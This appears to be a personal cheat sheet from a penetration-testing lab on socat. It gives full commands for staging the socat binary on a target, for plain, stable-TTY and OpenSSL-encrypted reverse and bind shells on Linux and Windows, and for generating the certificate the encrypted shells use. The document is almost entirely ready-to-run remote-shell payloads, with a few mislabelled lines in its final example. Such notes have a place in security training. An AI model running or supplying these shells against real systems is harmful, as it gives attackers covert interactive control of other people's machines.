socat

  1. On the attacker download the file
   wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

and set a python server

sudo python3 -m http.server 80
  1. On the target, get the file
    wget <LOCAL-IP>/socat -O /tmp/socat
    
    On windows
    Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
    

Reverse shell

On the attacker

basic reverse shell listener

socat TCP-L:<port> -

On the target

Windows

On Windows we would use this command to connect back:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output.

Linux

This is the equivalent command for a Linux Target:

socat TCP:<attacker-IP>:<attacker-PORT> EXEC:"bash -li"

Fully stable Linux tty reverse shell

On the attacker

This will only work when the target is Linux, but is significantly more stable.
Perhaps one of its most useful applications.

socat TCP-L:<port> FILE:`tty`,raw,echo=0

On the target

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Bind shell

On the target

Linux

On a Linux target we would use the following command:

socat TCP-L:<PORT> EXEC:"bash -li"

Windows

On a Windows target we would use this command for our listener:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

We use the "pipes" argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

On the attacker

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.

socat TCP:<TARGET-IP>:<TARGET-PORT> -

Encrypted Shells

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

THis creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year.
will ask you to fill in information about the certificate, This can be left blank, or filled randomly.

cat shell.key shell.crt > shell.pem

Reverse shell

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash


This technique will also work with the special, Linux-only TTY shell covered in the previous task -- figuring out the syntax for this will be the challenge for this task.
Feel free to use the Linux Practice box (deployable at the end of the room) to experiment if you're struggling to obtain the answer.

Example reverse shell full tty and encripted

Listenet

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

Attacker:

socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Bind shell

Target:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

Attacker:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required.